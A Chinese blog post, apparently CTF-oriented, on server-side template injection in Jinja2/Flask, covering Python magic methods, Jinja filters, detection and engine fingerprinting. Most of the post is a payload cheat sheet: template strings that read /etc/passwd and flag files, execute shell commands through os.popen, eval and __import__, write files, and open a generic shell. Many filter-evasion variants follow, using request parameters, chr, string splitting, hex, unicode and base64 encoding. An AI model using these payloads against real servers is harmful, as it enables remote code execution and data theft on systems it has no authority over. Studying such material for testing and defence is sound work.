SSTI

Fc04dB Lv4

# Server-Side Template Injection

image-20240709202855918

什么是 SSTI

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的 Web 应用程序中。比如 python 中的 flask、php 的 thinkphp、java 的 spring 等框架一般都采用 MVC 的模式,用户的输入先进入 Controller 控制器,然后根据请求类型和请求的指令发送给对应 Model 业务模型进行业务逻辑判断,数据库存取,最后把结果返回给 View 视图层,经过模板渲染展示给用户。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致 SSTI 漏洞的产生。

sql 注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意 sql 查询。

SSTI 与其相似,服务端将输入作为 web 应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

# 类的利用

有些模板引擎提供了一些内置类和方法,可以在模板中使用。

假设我们使用的是 Jinja2 模板引擎,并且有一个自定义的 User 类,包含 name 和 age 属性。我们可以在模板中创建一个 User 对象,并访问其属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from jinja2 import Template

class User:
def __init__(self, name, age):
self.name = name
self.age = age

template_string = '''
Name: {{ user.name }}
Age: {{ user.age }}
'''

template = Template(template_string)
user = User('Alice', 25)
rendered_output = template.render(user=user)

print(rendered_output)

在上面的例子中,我们在模板中创建了一个 user 对象,并通过 {{ user.name }}{{ user.age }} 的方式在模板中访问了该对象的属性。

最终输出的结果是:

1
2
Name: Alice
Age: 25

# 常用类

关于 python 魔术方法:

PyJail - Fc04dB’s BLOG 有提到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

# 过滤器

在 SSTI(Server-Side Template Injection)中,过滤器可以用于对变量进行处理和转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

float():将值转换为浮点数类型;

lower():将字符串转换为小写形式;

upper():将字符串转换为大写形式;

title():将字符串中每个单词的首字母转换为大写;

capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;

strip():删除字符串开头和结尾的空白字符;

wordcount():计算字符串中的单词数量;

reverse():反转字符串;

replace():替换字符串中的指定子串;

truncate():截取字符串的指定长度;

striptags():删除字符串中的所有HTML标签;

escape()或e:转义字符串中的特殊字符;

safe():禁用HTML转义;

list():将字符串转换为列表;

string():将其他类型的值转换为字符串;

join():将序列中的元素拼接成字符串;

abs():返回数值的绝对值;

first():返回序列的第一个元素;

last():返回序列的最后一个元素;

format():格式化字符串;

length():返回字符串的长度;

sum():返回列表中所有数值的和;

sort():排序列表中的元素;

default():在变量没有值的情况下使用默认值。

strip():删除字符串开头和结尾的指定字符,默认删除空白字符。

startswith(prefix):判断字符串是否以指定前缀开头。

endswith(suffix):判断字符串是否以指定后缀结尾。

isalpha():判断字符串是否只包含字母字符。

isdigit():判断字符串是否只包含数字字符。

isalnum():判断字符串是否只包含字母和数字字符。

isspace():判断字符串是否只包含空白字符。

split(separator):将字符串按指定分隔符分割成列表。

join(iterable):使用指定字符连接序列中的元素。

count(substring):统计字符串中子串出现的次数。

find(substring):查找子串第一次出现的位置,若不存在则返回-1。

replace(old, new):替换字符串中的指定子串。

islower():判断字符串是否全为小写字母。

isupper():判断字符串是否全为大写字母。

isdigit():判断字符串是否只包含数字。

isnumeric():判断字符串是否只包含数字字符。

isdecimal():判断字符串是否只包含十进制数字字符。

isidentifier():判断字符串是否是合法的标识符。

isprintable():判断字符串是否只包含可打印字符。

encode(encoding):使用指定的编码对字符串进行编码。

decode(encoding):使用指定的编码对字符串进行解码。

# 常用 payload

# 无过滤情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

# 有过滤情况

# 绕过 .

1. 使用中括号 [] 绕过

1
2
3
4
5
6
{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2. 使用 attr () 绕过

attr () 函数是 Python 内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

1
2
3
4
5
6
{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
# 绕过单双引号

1.request 绕过

1
2
3
4
5
6
7
8
9
10
11
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr 绕过

1
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用 GET 请求时,+ 号需要 url 编码,否则会被当作空格处理。

# 绕过关键字

1. 使用切片将逆置的关键字顺序输出,进而达到绕过。

1
2
3
4
5
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2. 利用 "+" 进行字符串拼接,绕过关键字过滤。

1
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join 拼接

利用 join()函数绕过关键字过滤

1
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4. 利用引号绕过

1
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5. 使用 str 原生函数 replace 替换

将额外的字符拼接进原本的关键字里面,然后利用 replace 函数将其替换为空。

1
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii 转换

将每一个字符都转换为 ascii 值后再拼接在一起。

1
2
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16 进制编码绕过

1
2
3
4
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64 编码绕过

对于 python2,可利用 base64 进行绕过,对于 python3 没有 decode 方法,不能使用该方法进行绕过。

1
2
3
4
5
6
"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode 编码绕过

1
2
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex 编码绕过

1
2
3
4
5
6
7
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
# 绕过 init

可以用 __enter____exit__ 替代 __init__

1
2
3
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

# SSTI 攻击

# 1.SSTI 的简单探测

最常用的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板 ———— 这也被称作 fuzz 测试,例如 ${{<%[%'"}}%\< code>

如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法,然而 SSTI 漏洞会出现在两个不同的上下文中,并且需要使用各自的检测方法来进一步检测 SSTI 漏洞。

# 一、纯文字上下文

有的模板引擎会将模板语句渲染成 HTML,例如 Freemarker

1
render('Hello' + username) --> Hello Apce

因为会渲染成 HTML,所以这还可以导致 XSS 漏洞。但是模板引擎会自动执行数学运算,所以如果我们输入一个运算,例如

1
http://vulnerable-website.com/?username=${7*7}

如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞。而且不同的模板引擎的数学运算的语法有些不同,还需要查阅相关资料的。

# 二、代码上下文

以这样一段代码为例,同样是用来生成邮件的

1
2
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中,但是就像 SQL 注入一样,如果我们提前将双花括号闭合,然后就可以注入自定义的语句了。

# 2. 确定 Web 界面所用的模板引擎

我们该如何判断模板引擎的类型呢?

简要来说依靠这张图即可:

img

还有一般的做法是触发报错。

触发报错的方式很多,这里以 Ruby 的 ERB 引擎为例,输入无效表达式 <%foobar%> 触发报错。可以得到如下报销信息

1
2
3
4
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

# 3. 构造利用的 payload

根据不同模板编写喽

# 后话

感觉 SSTI 跟 python 沙箱很像啊

  • Title: SSTI
  • Author: Fc04dB
  • Created at : 2024-07-09 19:47:31
  • Updated at : 2024-08-28 14:50:22
  • Link: https://redefine.ohevan.com/2024/07/09/SSTI/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments